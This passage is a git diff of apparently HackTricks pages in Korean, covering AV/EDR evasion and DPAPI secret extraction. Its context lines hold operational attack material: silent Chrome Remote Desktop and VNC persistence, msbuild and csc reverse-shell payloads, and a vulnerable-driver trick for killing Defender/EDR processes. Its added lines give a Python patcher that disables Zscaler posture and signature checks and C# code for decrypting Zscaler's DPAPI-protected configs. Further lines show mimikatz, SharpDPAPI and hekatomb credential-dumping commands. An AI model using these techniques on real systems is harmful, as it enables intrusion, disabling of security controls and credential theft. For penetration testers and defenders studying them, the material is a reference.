더 높습니다.** 단점은 **행동 탐지**에 의해 잡힐 가능성이 **더 높아진다는** 것입니다. +이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입하여 악성 코드를 실행한 후, 완료되면 새로운 프로세스를 종료하는 방식입니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 포착될 경우, **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 걸릴 가능성이 **더 높아진다는** 것입니다.
- **Inline** -이는 포스트 익스플로잇 악성 코드를 **자신의 프로세스에 주입하는** 것입니다. 이렇게 하면 새로운 프로세스를 생성하고 AV에 의해 스캔되는 것을 피할 수 있지만, 단점은 페이로드 실행 중 문제가 발생하면 **비콘을 잃을 가능성이 훨씬 더 높아진다는** 것입니다. +이는 포스트 익스플로잇 악성 코드를 **자신의 프로세스에 주입하는** 것입니다. 이렇게 하면 새로운 프로세스를 생성하고 AV에 의해 스캔되는 것을 피할 수 있지만, 단점은 페이로드 실행 중 문제가 발생할 경우 **비콘을 잃을 가능성이 훨씬 더 높아진다는** 것입니다.
@@ -328,15 +328,15 @@ C# 바이너리를 메모리에 로드하는 것은 꽤 오랫동안 알려져 [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)에서 제안된 바와 같이, 손상된 머신에 **공격자가 제어하는 SMB 공유에 설치된 인터프리터 환경에 대한 접근을 제공함으로써** 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다. -인터프리터 바이너리와 SMB 공유의 환경에 대한 접근을 허용함으로써, 손상된 머신의 메모리 내에서 **이러한 언어로 임의의 코드를 실행할 수 있습니다.** +인터프리터 바이너리와 SMB 공유의 환경에 대한 접근을 허용함으로써, 손상된 머신의 **메모리 내에서 이러한 언어로 임의의 코드를 실행할 수 있습니다.** 레포지토리는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용함으로써 **정적 서명을 우회할 수 있는 더 많은 유연성을 제공합니다.** 이러한 언어로 무작위로 난독화되지 않은 리버스 쉘 스크립트로 테스트한 결과 성공적이었습니다. ## TokenStomping -Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV와 같은 보안 제품을 조작**하여 프로세스가 종료되지 않도록 하면서 악의적인 활동을 확인할 권한을 줄이는 기술입니다. +Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV와 같은 보안 제품을 조작**하여 프로세스가 종료되지 않도록 하면서 악의적인 활동을 확인할 권한을 줄일 수 있게 해주는 기술입니다. -이를 방지하기 위해 Windows는 **외부 프로세스가** 보안 프로세스의 토큰에 대한 핸들을 얻는 것을 **방지할 수 있습니다.** +이를 방지하기 위해 Windows는 **외부 프로세스가 보안 프로세스의 토큰에 대한 핸들을 얻는 것을 방지할 수 있습니다.** - [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) @@ -346,11 +346,11 @@ Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV와 같은 ### Chrome Remote Desktop -[**이 블로그 포스트**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide)에서 설명된 바와 같이, 피해자의 PC에 Chrome Remote Desktop을 배포한 후 이를 사용하여 장악하고 지속성을 유지하는 것은 쉽습니다: +[**이 블로그 포스트**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide)에서 설명된 바와 같이, 피해자의 PC에 Chrome Remote Desktop을 배포한 후 이를 사용하여 PC를 장악하고 지속성을 유지하는 것은 쉽습니다: 1. https://remotedesktop.google.com/에서 다운로드하고 "SSH를 통해 설정"을 클릭한 후, Windows용 MSI 파일을 다운로드합니다. -2. 피해자에서 설치 프로그램을 조용히 실행합니다(관리자 권한 필요): `msiexec /i chromeremotedesktophost.msi /qn` +2. 피해자(관리자 권한 필요)에서 설치 프로그램을 조용히 실행합니다: `msiexec /i chromeremotedesktophost.msi /qn` 3. Chrome Remote Desktop 페이지로 돌아가서 다음을 클릭합니다. 마법사가 권한 부여를 요청할 것입니다; 계속하려면 권한 부여 버튼을 클릭합니다. -4. 주어진 매개변수를 약간 조정하여 실행합니다: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (GUI를 사용하지 않고 핀을 설정할 수 있는 핀 매개변수에 주의하세요). +4. 주어진 매개변수를 약간 조정하여 실행합니다: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (GUI를 사용하지 않고 핀을 설정할 수 있는 핀 매개변수에 유의하세요). ## Advanced Evasion @@ -376,11 +376,11 @@ https://www.youtube.com/watch?v=IbA7Ung39o4 ### **Check which parts Defender finds as malicious** [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)를 사용하여 **바이너리의 일부를 제거**하여 **Defender가 악성으로 찾는 부분을 알아내고** 이를 분리할 수 있습니다.\ -또한 [**avred**](https://github.com/dobin/avred)라는 도구도 **같은 작업을 수행하며**, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하는 오픈 웹을 제공합니다. +또 다른 도구로는 [**avred**](https://github.com/dobin/avred)가 있으며, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하고 있습니다. ### **Telnet Server** -Windows 10까지 모든 Windows에는 **Telnet 서버**가 포함되어 있었으며, 이를 설치(관리자 권한 필요)하려면 다음과 같이 하면 됩니다: +Windows 10 이전까지 모든 Windows에는 **Telnet 서버**가 포함되어 있었으며, 이를 설치(관리자 권한 필요)할 수 있었습니다: ```bash pkgmgr /iu:"TelnetServer" /quiet ``` @@ -412,7 +412,7 @@ Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc. **경고:** 은폐를 유지하기 위해 몇 가지를 하지 않아야 합니다 - `winvnc`가 이미 실행 중이라면 시작하지 마세요. 그렇지 않으면 [팝업](https://i.imgur.com/1SROTTl.png)이 발생합니다. `tasklist | findstr winvnc`로 실행 중인지 확인하세요 -- 같은 디렉토리에 `UltraVNC.ini` 없이 `winvnc`를 시작하지 마세요. 그렇지 않으면 [설정 창](https://i.imgur.com/rfMQWcf.png)이 열립니다 +- 동일한 디렉토리에 `UltraVNC.ini` 없이 `winvnc`를 시작하지 마세요. 그렇지 않으면 [설정 창](https://i.imgur.com/rfMQWcf.png)이 열립니다 - 도움을 위해 `winvnc -h`를 실행하지 마세요. 그렇지 않으면 [팝업](https://i.imgur.com/oc18wcu.png)이 발생합니다 ### GreatSCT @@ -435,7 +435,7 @@ sel lport 4444 generate #payload is the default name #This will generate a meterpreter xml and a rcc file for msfconsole ``` -이제 **리스터를 시작**하려면 `msfconsole -r file.rc`를 입력하고 **xml 페이로드를 실행**하려면: +이제 **lister**를 `msfconsole -r file.rc`로 **시작**하고 **xml payload**를 다음과 같이 **실행**합니다: ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` @@ -447,7 +447,7 @@ https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15 #### 첫 번째 C# 리버스 셸 -다음과 같이 컴파일합니다: +다음과 함께 컴파일합니다: ``` c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt ``` @@ -594,10 +594,10 @@ https://github.com/praetorian-code/vulcan ## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space -Storm-2603는 **Antivirus Terminator**라는 작은 콘솔 유틸리티를 활용하여 랜섬웨어를 배포하기 전에 엔드포인트 보호를 비활성화했습니다. 이 도구는 **자체적으로 취약하지만 *서명된* 드라이버**를 가져와서 이를 악용하여 Protected-Process-Light (PPL) AV 서비스조차 차단할 수 없는 특권 커널 작업을 수행합니다. +Storm-2603는 **Antivirus Terminator**라는 작은 콘솔 유틸리티를 활용하여 랜섬웨어를 배포하기 전에 엔드포인트 보호 기능을 비활성화했습니다. 이 도구는 **자체적으로 취약하지만 *서명된* 드라이버**를 가져와서 이를 악용하여 Protected-Process-Light (PPL) AV 서비스조차 차단할 수 없는 특권 커널 작업을 수행합니다. 주요 내용 -1. **서명된 드라이버**: 디스크에 전달된 파일은 `ServiceMouse.sys`이지만, 이진 파일은 Antiy Labs의 “System In-Depth Analysis Toolkit”에서 온 합법적으로 서명된 드라이버 `AToolsKrnl64.sys`입니다. 이 드라이버는 유효한 Microsoft 서명을 가지고 있어 Driver-Signature-Enforcement (DSE)가 활성화되어 있어도 로드됩니다. +1. **서명된 드라이버**: 디스크에 전달된 파일은 `ServiceMouse.sys`이지만, 이진 파일은 Antiy Labs의 “System In-Depth Analysis Toolkit”에서 가져온 합법적으로 서명된 드라이버 `AToolsKrnl64.sys`입니다. 이 드라이버는 유효한 Microsoft 서명을 가지고 있기 때문에 Driver-Signature-Enforcement (DSE)가 활성화되어 있어도 로드됩니다. 2. **서비스 설치**: ```powershell sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys" @@ -605,13 +605,13 @@ sc start ServiceMouse ``` 첫 번째 줄은 드라이버를 **커널 서비스**로 등록하고, 두 번째 줄은 이를 시작하여 `\\.\ServiceMouse`가 사용자 공간에서 접근 가능하게 만듭니다. 3. **드라이버에 의해 노출된 IOCTLs** -| IOCTL 코드 | 기능 | -|-----------:|----------------------------------------| +| IOCTL 코드 | 기능 | +|-----------:|-----------------------------------------| | `0x99000050` | PID로 임의의 프로세스를 종료 (Defender/EDR 서비스 종료에 사용) | | `0x990000D0` | 디스크에서 임의의 파일 삭제 | | `0x990001D0` | 드라이버 언로드 및 서비스 제거 | -최소 C 증명-of-개념: +최소 C 증명 개념: ```c #include @@ -623,14 +623,54 @@ CloseHandle(hDrv); return 0; } ``` -4. **작동 원리**: BYOVD는 사용자 모드 보호를 완전히 우회합니다. 커널에서 실행되는 코드는 *보호된* 프로세스를 열거나 종료하거나 PPL/PP, ELAM 또는 기타 강화 기능에 관계없이 커널 객체를 조작할 수 있습니다. +4. **작동 원리**: BYOVD는 사용자 모드 보호 기능을 완전히 우회합니다. 커널에서 실행되는 코드는 *보호된* 프로세스를 열거나 종료하거나 PPL/PP, ELAM 또는 기타 강화 기능에 관계없이 커널 객체를 조작할 수 있습니다. 탐지 / 완화 • Microsoft의 취약 드라이버 차단 목록(`HVCI`, `Smart App Control`)을 활성화하여 Windows가 `AToolsKrnl64.sys`를 로드하지 않도록 합니다. • 새로운 *커널* 서비스의 생성 모니터링 및 드라이버가 세계 쓰기 가능 디렉토리에서 로드되거나 허용 목록에 없을 때 경고합니다. • 사용자 모드 핸들이 사용자 정의 장치 객체에 대한 후속 의심스러운 `DeviceIoControl` 호출을 감시합니다. +### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching + +Zscaler의 **Client Connector**는 장치 자세 규칙을 로컬에서 적용하고 Windows RPC를 통해 결과를 다른 구성 요소에 전달합니다. 두 가지 약한 설계 선택으로 인해 전체 우회가 가능합니다: + +1. 자세 평가는 **완전히 클라이언트 측**에서 발생합니다 (부울 값이 서버로 전송됨). +2. 내부 RPC 엔드포인트는 연결된 실행 파일이 **Zscaler에 의해 서명되었는지**만 검증합니다 (via `WinVerifyTrust`). + +**디스크에서 네 개의 서명된 이진 파일을 패치함으로써** 두 가지 메커니즘을 무력화할 수 있습니다: + +| 이진 파일 | 패치된 원래 로직 | 결과 | +|--------|------------------------|---------| +| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 항상 `1`을 반환하여 모든 검사가 준수됨 | +| `ZSAService.exe` | `WinVerifyTrust`에 대한 간접 호출 | NOP-ed ⇒ 어떤 (서명되지 않은) 프로세스도 RPC 파이프에 바인딩 가능 | +| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret`로 교체 | +| `ZSATunnel.exe` | 터널에 대한 무결성 검사 | 단축 회로 처리 | + +최소 패처 발췌: +```python +pattern = bytes.fromhex("44 89 AC 24 80 02 00 00") +replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1 + +with open("ZSATrayManager.exe", "r+b") as f: +data = f.read() +off = data.find(pattern) +if off == -1: +print("pattern not found") +else: +f.seek(off) +f.write(replacement) +``` +원본 파일을 교체하고 서비스 스택을 재시작한 후: + +* **모든** 포스처 검사에서 **녹색/준수**가 표시됩니다. +* 서명되지 않았거나 수정된 바이너리가 명명된 파이프 RPC 엔드포인트(예: `\\RPC Control\\ZSATrayManager_talk_to_me`)를 열 수 있습니다. +* 손상된 호스트는 Zscaler 정책에 의해 정의된 내부 네트워크에 무제한으로 접근할 수 있습니다. + +이 사례 연구는 순수한 클라이언트 측 신뢰 결정과 간단한 서명 검사가 몇 개의 바이트 패치로 어떻게 무력화될 수 있는지를 보여줍니다. + ## References +- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) + - [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index 676aaf691..6db545970 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -14,7 +14,7 @@ DPAPI를 사용하는 가장 일반적인 방법은 **`CryptProtectData` 및 `Cr ### 사용자 키 생성 -DPAPI는 각 사용자의 자격 증명을 기반으로 고유한 키( **`pre-key`**라고 함)를 생성합니다. 이 키는 사용자의 비밀번호 및 기타 요소에서 파생되며, 알고리즘은 사용자 유형에 따라 다르지만 최종적으로 SHA1이 됩니다. 예를 들어, 도메인 사용자의 경우 **사용자의 HTLM 해시에 따라 다릅니다**. +DPAPI는 각 사용자의 자격 증명을 기반으로 고유한 키( **`pre-key`**라고 함)를 생성합니다. 이 키는 사용자의 비밀번호와 기타 요소에서 파생되며, 알고리즘은 사용자 유형에 따라 다르지만 최종적으로 SHA1이 됩니다. 예를 들어, 도메인 사용자의 경우, **사용자의 HTLM 해시에 따라 다릅니다**. 이는 공격자가 사용자의 비밀번호 해시를 얻을 수 있다면 다음을 수행할 수 있기 때문에 특히 흥미롭습니다: @@ -25,7 +25,7 @@ DPAPI는 각 사용자의 자격 증명을 기반으로 고유한 키( **`pre-ke 마스터 키는 **`%APPDATA%\Microsoft\Protect\\`** 디렉토리에 저장되며, 여기서 `{SID}`는 해당 사용자의 보안 식별자입니다. 마스터 키는 사용자의 **`pre-key`**로 암호화되어 저장되며, 복구를 위해 **도메인 백업 키**로도 암호화되어 저장됩니다(즉, 동일한 키가 2개의 서로 다른 비밀번호로 2번 암호화되어 저장됨). -도메인 키는 마스터 키를 암호화하는 데 사용되며 도메인 컨트롤러에 있으며 절대 변경되지 않으므로, 공격자가 도메인 컨트롤러에 접근할 수 있다면 도메인 백업 키를 검색하고 도메인 내 모든 사용자의 마스터 키를 복호화할 수 있습니다. +마스터 키를 암호화하는 데 사용되는 **도메인 키는 도메인 컨트롤러에 있으며 절대 변경되지 않습니다**, 따라서 공격자가 도메인 컨트롤러에 접근할 수 있다면 도메인 백업 키를 검색하고 도메인 내 모든 사용자의 마스터 키를 복호화할 수 있습니다. 암호화된 블롭은 데이터 암호화에 사용된 **마스터 키의 GUID**를 헤더에 포함하고 있습니다. @@ -101,7 +101,7 @@ dpapi::masterkey /in: /sid: /password:] ``` -다음의 [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (같은 레포에서) 를 사용하여 DPAPI를 통해 쿠키와 같은 민감한 데이터를 복호화할 수 있습니다. +다음의 [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (같은 저장소에서) 를 사용하여 DPAPI를 통해 쿠키와 같은 민감한 데이터를 복호화할 수 있습니다. ### 액세스 키 및 데이터 -- **SharpDPAPI**를 사용하여 현재 세션의 DPAPI 암호화 파일에서 자격 증명을 가져옵니다: +- **SharpDPAPI**를 사용하여 현재 세션의 DPAPI 암호화된 파일에서 자격 증명을 가져옵니다: ```bash # Decrypt user data ## Note that 'triage' is like running credentials, vaults, rdg and certificates @@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" # SharpDPAPI SharpDPAPI.exe masterkeys /rpc ``` -**SharpDPAPI** 도구는 마스터 키 복호화를 위한 이러한 인수도 지원합니다 (도메인의 백업 키를 얻기 위해 `/rpc`를 사용하거나, 평문 비밀번호를 사용하기 위해 `/password`를 사용하거나, DPAPI 도메인 개인 키 파일을 지정하기 위해 `/pvk`를 사용할 수 있는 방법에 유의하세요...): +**SharpDPAPI** 도구는 마스터 키 복호화를 위한 이러한 인수도 지원합니다 (도메인 백업 키를 얻기 위해 `/rpc`를 사용하거나, 평문 비밀번호를 사용하기 위해 `/password`를 사용하거나, DPAPI 도메인 개인 키 파일을 지정하기 위해 `/pvk`를 사용할 수 있는 방법에 유의하세요...): ``` /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys @@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey: # SharpDPAPI SharpDPAPI.exe /target: /ntlm: ``` -**SharpDPAPI** 도구는 `credentials|vaults|rdg|keepass|triage|blob|ps` 복호화를 위한 이러한 인수도 지원합니다 (도메인 백업 키를 얻기 위해 `/rpc`를 사용하고, 평문 비밀번호를 사용하기 위해 `/password`, DPAPI 도메인 개인 키 파일을 지정하기 위해 `/pvk`, 현재 사용자의 세션을 사용하기 위해 `/unprotect`를 사용할 수 있는 방법에 주목하세요...): +**SharpDPAPI** 도구는 `credentials|vaults|rdg|keepass|triage|blob|ps` 복호화를 위한 이러한 인수도 지원합니다 (도메인 백업 키를 얻기 위해 `/rpc`를 사용하고, 일반 텍스트 비밀번호를 사용하기 위해 `/password`, DPAPI 도메인 개인 키 파일을 지정하기 위해 `/pvk`, 현재 사용자 세션을 사용하기 위해 `/unprotect`를 사용하는 것이 가능하다는 점에 유의하세요...): ``` Decryption: /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands @@ -255,6 +255,7 @@ hashcat -m 22102 bob.hc wordlist.txt -O -w4 ``` 이 도구는 Credential 및 Vault 블롭을 구문 분석하고, 크랙된 키로 이를 복호화하여 평문 비밀번호를 내보낼 수 있습니다. + ### 다른 머신 데이터 접근 **SharpDPAPI와 SharpChrome**에서는 원격 머신의 데이터에 접근하기 위해 **`/server:HOST`** 옵션을 지정할 수 있습니다. 물론 해당 머신에 접근할 수 있어야 하며, 다음 예제에서는 **도메인 백업 암호화 키가 알려져 있다고 가정합니다**: @@ -262,15 +263,15 @@ hashcat -m 22102 bob.hc wordlist.txt -O -w4 SharpDPAPI.exe triage /server:HOST /pvk:BASE64 SharpChrome cookies /server:HOST /pvk:BASE64 ``` -## 기타 도구 +## Other tools ### HEKATOMB -[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB)는 LDAP 디렉토리에서 모든 사용자와 컴퓨터를 추출하고 RPC를 통해 도메인 컨트롤러 백업 키를 추출하는 도구입니다. 스크립트는 모든 컴퓨터의 IP 주소를 확인하고 모든 컴퓨터에서 smbclient를 수행하여 모든 사용자의 DPAPI 블롭을 검색하고 도메인 백업 키로 모든 것을 복호화합니다. +[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB)는 LDAP 디렉토리에서 모든 사용자와 컴퓨터를 추출하고 RPC를 통해 도메인 컨트롤러 백업 키를 추출하는 자동화 도구입니다. 스크립트는 모든 컴퓨터의 IP 주소를 확인하고 모든 컴퓨터에서 smbclient를 수행하여 모든 사용자의 DPAPI 블롭을 검색하고 도메인 백업 키로 모든 것을 복호화합니다. `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` -LDAP에서 추출한 컴퓨터 목록으로 모든 서브 네트워크를 찾을 수 있습니다. 알지 못하더라도 가능합니다! +LDAP에서 추출한 컴퓨터 목록을 사용하면 알지 못했던 모든 서브 네트워크를 찾을 수 있습니다! ### DonPAPI 2.x (2024-05) @@ -286,22 +287,58 @@ LDAP에서 추출한 컴퓨터 목록으로 모든 서브 네트워크를 찾을 [**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop)는 Hashcat/JtR 형식으로 출력할 수 있는 마스터키/자격 증명/금고 파일을 위한 C# 파서로, 선택적으로 자동으로 크래킹을 호출할 수 있습니다. Windows 11 24H1까지의 머신 및 사용자 마스터키 형식을 완전히 지원합니다. -## 일반적인 탐지 +## Common detections - `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` 및 기타 DPAPI 관련 디렉토리의 파일 접근. - 특히 **C$** 또는 **ADMIN$**와 같은 네트워크 공유에서. - LSASS 메모리에 접근하거나 마스터키를 덤프하기 위해 **Mimikatz**, **SharpDPAPI** 또는 유사한 도구 사용. - 이벤트 **4662**: *객체에 대한 작업이 수행되었습니다* – **`BCKUPKEY`** 객체에 대한 접근과 상관관계가 있을 수 있습니다. -- 프로세스가 *SeTrustedCredManAccessPrivilege* (자격 증명 관리자)를 요청할 때 이벤트 **4673/4674** +- 프로세스가 *SeTrustedCredManAccessPrivilege* (Credential Manager)를 요청할 때 이벤트 **4673/4674** --- -### 2023-2025 취약점 및 생태계 변화 +### 2023-2025 vulnerabilities & ecosystem changes -* **CVE-2023-36004 – Windows DPAPI 보안 채널 스푸핑** (2023년 11월). 네트워크 접근 권한이 있는 공격자가 도메인 구성원을 속여 악성 DPAPI 백업 키를 검색하게 할 수 있으며, 이를 통해 사용자 마스터키를 복호화할 수 있습니다. 2023년 11월 누적 업데이트에서 패치됨 – 관리자는 DC와 워크스테이션이 완전히 패치되었는지 확인해야 합니다. -* **Chrome 127 “App-Bound” 쿠키 암호화** (2024년 7월)는 기존 DPAPI 전용 보호를 사용자의 **Credential Manager**에 저장된 추가 키로 대체했습니다. 쿠키의 오프라인 복호화는 이제 DPAPI 마스터키와 **GCM으로 래핑된 앱 바운드 키** 모두를 요구합니다. SharpChrome v2.3 및 DonPAPI 2.x는 사용자 컨텍스트로 실행할 때 추가 키를 복구할 수 있습니다. +* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (2023년 11월). 네트워크 접근 권한이 있는 공격자가 도메인 구성원을 속여 악성 DPAPI 백업 키를 검색하게 할 수 있으며, 이는 사용자 마스터키의 복호화를 가능하게 합니다. 2023년 11월 누적 업데이트에서 패치됨 – 관리자는 DC와 워크스테이션이 완전히 패치되었는지 확인해야 합니다. +* **Chrome 127 “App-Bound” cookie encryption** (2024년 7월)은 레거시 DPAPI 전용 보호를 사용자의 **Credential Manager**에 저장된 추가 키로 대체했습니다. 쿠키의 오프라인 복호화는 이제 DPAPI 마스터키와 **GCM으로 래핑된 앱 바운드 키** 모두를 요구합니다. SharpChrome v2.3 및 DonPAPI 2.x는 사용자 컨텍스트로 실행할 때 추가 키를 복구할 수 있습니다. -## 참조 +### Case Study: Zscaler Client Connector – Custom Entropy Derived From SID + +Zscaler Client Connector는 `C:\ProgramData\Zscaler` 아래에 여러 구성 파일을 저장합니다 (예: `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). 각 파일은 **DPAPI (Machine scope)**로 암호화되지만, 공급업체는 디스크에 저장되지 않고 *런타임에 계산된* **커스텀 엔트로피**를 제공합니다. + +엔트로피는 두 요소에서 재구성됩니다: + +1. `ZSACredentialProvider.dll` 내부에 내장된 하드코딩된 비밀. +2. 구성에 속하는 Windows 계정의 **SID**. + +DLL에 구현된 알고리즘은 다음과 같습니다: +```csharp +byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET); +byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID); + +// XOR the two buffers byte-by-byte +byte[] tmp = new byte[secret.Length]; +for (int i = 0; i < secret.Length; i++) +tmp[i] = (byte)(sid[i] ^ secret[i]); + +// Split in half and XOR both halves together to create the final entropy buffer +byte[] entropy = new byte[tmp.Length / 2]; +for (int i = 0; i < entropy.Length; i++) +entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]); +``` +비밀이 디스크에서 읽을 수 있는 DLL에 내장되어 있기 때문에, **SYSTEM 권한을 가진 모든 로컬 공격자는 어떤 SID에 대해서도 엔트로피를 재생성하고 오프라인에서 블롭을 복호화할 수 있습니다:** +```csharp +byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\++config.dat"); +byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine); +Console.WriteLine(Encoding.UTF8.GetString(clear)); +``` +복호화는 모든 **장치 자세 검사**와 그 예상 값을 포함한 완전한 JSON 구성을 제공합니다. 이는 클라이언트 측 우회 시 매우 유용한 정보입니다. + +> TIP: 다른 암호화된 아티팩트(`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`)는 엔트로피 없이 DPAPI로 보호됩니다(`16`개의 제로 바이트). 따라서 SYSTEM 권한을 얻으면 `ProtectedData.Unprotect`로 직접 복호화할 수 있습니다. + +## References + +- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) - [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13) - [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)